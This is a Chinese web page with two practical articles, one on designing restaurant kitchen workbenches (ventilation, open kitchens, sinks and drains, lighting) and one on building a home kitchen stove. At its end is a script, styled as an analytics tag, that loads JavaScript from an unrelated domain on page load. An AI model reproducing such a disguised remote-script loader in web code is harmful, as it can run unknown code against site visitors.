饭店厨房工作台如何设计

对于饭店厨房的装修，重点在于厨房工作台的设计，因为合理的工作台设计安装可以使厨师的工作环境大为改善，而且还方便实用。厨房的工作台设计流程应该是以安全性为主导，设备的安装不要多，而是要方便操作和实用为原则。同时更没有必要把饭店厨房装修的仅仅追求漂亮气派和造型花哨，而不考虑实用性。下面就给大家介绍一下饭店厨房工作台如何设计，希望对有需要的朋友能有所帮助。饭店厨房工作台的设计应紧紧围绕餐饮的经营风格，充分考虑实用、耐用和便利的原则，具体地讲，应在以下几个方面特别加以重视：1、饭店厨房工作台设计在通风的地方不管厨房选配先进的运水烟罩，甚至直接采用简捷的排风扇，最重要的是要使厨房，尤其是配菜、烹调区形成负压。所谓负压，即排出去的空气量要大于补充进入厨房的新风量。这样厨房才能保持空气清新。但在抽排厨房主要油烟的同时，也不可忽视烤箱、焗炉、蒸箱、蒸汽锅以及蒸汽消毒柜、洗碗机等产生的浊气、废气，要保证所有烟气都不在厨房区域弥漫和滞留。2、饭店厨房工作台要设置明厨、明档餐馆设计明厨、明档，是餐饮业发展到一定时期的产物。设计明厨、明档，至少要注意不应因此设计而增加餐厅的油烟、噪声和有碍观瞻场景。有些只宜将生产的最后阶段作展示性的明厨设计，实在没有必要和盘托出。3、饭店厨房工作台的用水和明沟有许多厨房在设计水槽(水池)时，由于配备的太少、太小，使得厨师要跑很远才能找见水池，于是忙起来干脆就很难顾及清洗，厨房的卫生很难令人信服。厨房的明沟，是厨房污水排放的重要通道。可有些厨房明沟太浅，或太毛糙，或无高低落差，或无有机连接，使得厨房或水地相连，或臭气熏人，厨房很难做到干爽、清净。因此，在进行厨房设计时要充分考虑原料化冻、冲洗，厨师取用清水和清洁用水的各种需要，尽可能在合适位置使用的单槽或双槽水池，切实保证食品生产环境的整洁卫生。4、饭店厨房工作台的灯光要求餐厅的灯光重文化，厨房的灯光重实用。这里的实用，主要指临炉炒菜要有足够的灯光以把握菜肴色泽;案板切配要有明亮的灯光，以有效防止刀伤和追求精细的刀工;出菜打荷的上方要有充足的灯光，切实减少杂草混入并流入餐厅等等。厨房灯光不一定要像餐厅一样豪华典雅、布局整齐，但其作用绝不可忽视。以上就是我给大家介绍的关于饭店厨房工作台如何设计的内容，希望对大家能有所帮助。除了以上的介绍，我觉得还要有一些辅助的设计，比如备餐间和厨房工作台的衔接，要便于放菜和传送菜肴。另外就是洗碗间也要考虑其中，不能离厨房工作台太远，而且洗碗间要设计在通风的位置。等等因素的考虑都是对饭店厨房工作台设计时候要注意的事项。希望能帮到大家。

常见的家庭厨房灶台怎么做更实用

虽然很多家庭的厨房都采用整体厨房，不需要自己搭建灶台，但是整体厨房有时候不太实用，就很难满足住户个性化的需求，这时就需要自己搭建灶台了。那么，常见的家庭厨房灶台怎么做更实用呢？需要注意确定位置、搭建结构、留好开口、安装橱柜这四个方面。一、确定位置面对“厨房灶台怎么做更实用”这个问题，首先要确定灶台的位置。每个家庭的厨房面积和规格都不太一样，不能照搬过来，要根据自家实际进行具体设计，确定实际位置和大小，才能进下一步的具体施工。二、搭建结构面对“厨房灶台怎么做更实用”这个问题，其次要搭建灶台的结构。相比整体厨房，自建灶台需要进行砌砖操作，砖块的承重性和紧密度、钢筋的结构和密度都关系到灶台的稳定性。一般来说地面建议使用水泥砖，支柱虽然可以使用红砖，但内部需要安置足够的钢筋，提高整个灶台的稳定性。三、留好开口面对“厨房灶台怎么做更实用”这个问题，再次要留好灶台的开口。因为灶台台面并不是完整的，需要预留很多开口，方便后期安装水槽、燃气灶等设备。所以，一定要提前留好开口，避免后期开凿破坏灶台的稳定性。另外，开口的大小也要根据购买的设备大小提前确定好。四、安装橱柜面对“厨房灶台怎么做更实用”这个问题，最后要安装灶台的橱柜。橱柜也要符合实际使用需求，如果经常存放大的物件的话，就少安装一些隔板；如果经常存放小的物件的话，就多安装一些抽屉，这样厨房的用具才能真正放得下。在了解常见的家庭厨房灶台搭建方法之后，如果对整体厨房效果不太满意的话，可以试着搭建一个适合自己厨房的灶台。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();